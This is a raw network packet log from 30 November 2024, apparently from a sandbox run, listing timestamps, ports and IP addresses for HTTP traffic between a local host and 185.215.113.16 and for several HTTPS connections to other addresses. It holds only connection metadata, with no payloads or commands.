Nov 30, 2024 04:12:29.870791912 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.870923042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.871607065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.871644974 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.871706963 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.872482061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.872524977 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.872584105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.873336077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.873377085 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.873446941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.874193907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.874233007 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.874280930 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.875039101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.875078917 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.875196934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.875894070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.875978947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.875992060 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.876776934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.876812935 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.876866102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.877608061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.877640963 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.877712011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.878473997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.878535986 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.878568888 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.879306078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.879345894 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.879375935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.928109884 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.036509991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.036566019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.036654949 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.036880970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.036931038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.037743092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.037805080 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.037853003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.037890911 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.038585901 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.038671970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.039433002 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.039448977 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.039554119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.039788008 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.040285110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.040407896 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.040601015 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.041127920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.041250944 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.041990042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.042052031 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.042102098 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.042148113 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.042853117 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.042958975 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.043553114 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.043699980 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.043809891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.043853998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.044569969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.044673920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.044836998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.045412064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.045517921 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.046279907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.046335936 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.046375990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.046416044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.047122955 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.047239065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.047797918 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.047982931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.048110008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.048151016 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.048856974 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.048949957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.049117088 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.049706936 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.049809933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.050558090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.050616026 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.050647974 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.050687075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.051419020 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.051525116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.051801920 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.052288055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.052392960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.052437067 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.053117990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.053221941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.053319931 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.054001093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.054095984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.054147005 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.054864883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.054986000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.055721045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.055778027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.055814981 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.055849075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.056582928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.056632996 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.057425022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.057478905 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.057518005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.057555914 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.058309078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.058404922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.059148073 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.059204102 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.059248924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.059295893 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.059974909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.060097933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.060144901 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.060862064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.061105967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.061152935 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.061744928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.061846972 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.062098026 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.062576056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.062664032 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.063415051 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.063473940 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.063519955 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.063554049 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.064263105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.064388990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.064436913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.065116882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.065272093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.065316916 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.065979004 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.066093922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.066283941 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.066834927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.066867113 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.067706108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.067780018 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.067820072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.067857027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.068553925 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.068664074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.069417000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.069477081 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.069525003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.069569111 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.070276976 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.070393085 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.071116924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.071175098 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.071223021 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.071263075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.071979046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.072089911 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.072144032 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.072848082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.072935104 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.073661089 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.073713064 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.073782921 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.073821068 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.074563026 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.074659109 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.075412035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.075517893 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.075532913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.075577021 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.076275110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.076391935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.076436996 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.077172995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.077256918 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.077980995 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.077984095 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.078083038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.078119040 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.078846931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.078924894 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.078978062 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.079735994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.080043077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.080091953 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.080559969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.080674887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.081367970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.081432104 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.149076939 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.149992943 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.150031090 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.150604963 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.150612116 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.237760067 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.237781048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.237840891 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.238125086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.238251925 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.238981009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.239034891 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.239084959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.239156961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.239842892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.239933014 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.239984989 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.240695000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.240803003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.241579056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.241625071 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.241733074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.241772890 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.242398024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.242531061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.243267059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.243334055 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.243365049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.243401051 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.244091988 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.244158030 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.244206905 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.244971991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.245060921 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.245443106 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.245920897 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.246078968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.246387005 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.246704102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.246812105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.247539043 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.247587919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.247669935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:30.247718096 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:30.385135889 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.388292074 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.388313055 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.388736010 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.388741970 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.521246910 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.524328947 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.524370909 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.524799109 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.524805069 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.534364939 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.536521912 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.536530018 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.536927938 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.536931992 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.602375031 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.602448940 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.602521896 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.603022099 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.603051901 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.603065014 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.603072882 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.607037067 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.607089043 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.607187033 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.607402086 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.607418060 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.650971889 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.651371002 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.651402950 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.651916981 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.651926041 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.820081949 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.820146084 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.820199966 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.824233055 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.824249983 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.824259043 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.824264050 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.827261925 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.827302933 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.827528954 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.827761889 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.827780962 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.960616112 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.960702896 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.960779905 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.961033106 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.961055994 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.961066008 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.961071014 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.964246035 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.964303017 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.964485884 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.964682102 CET	49763	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.964694977 CET	443	49763	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.969602108 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.969667912 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.969728947 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.969928026 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.969933033 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.969973087 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.969976902 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.972487926 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.972523928 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:30.972649097 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.972724915 CET	49764	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:30.972748995 CET	443	49764	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.104809999 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.104873896 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.104929924 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:31.110745907 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:31.110761881 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.110770941 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:31.110775948 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.113987923 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:31.114047050 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.114125013 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:31.114614964 CET	49765	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:31.114626884 CET	443	49765	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:31.275646925 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.275727034 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.279108047 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.279119015 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.279370070 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.281286955 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.281349897 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.281356096 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.281522036 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.327332020 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.835242987 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.835383892 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:31.835441113 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.835679054 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:31.835700035 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:32.388508081 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.397516012 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.397551060 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.404603958 CET	49761	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.404612064 CET	443	49761	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.608077049 CET	443	49762	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:32.620769978 CET	49762	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:32.620798111 CET	443	49762	13.107.246.63	192.168.2.6
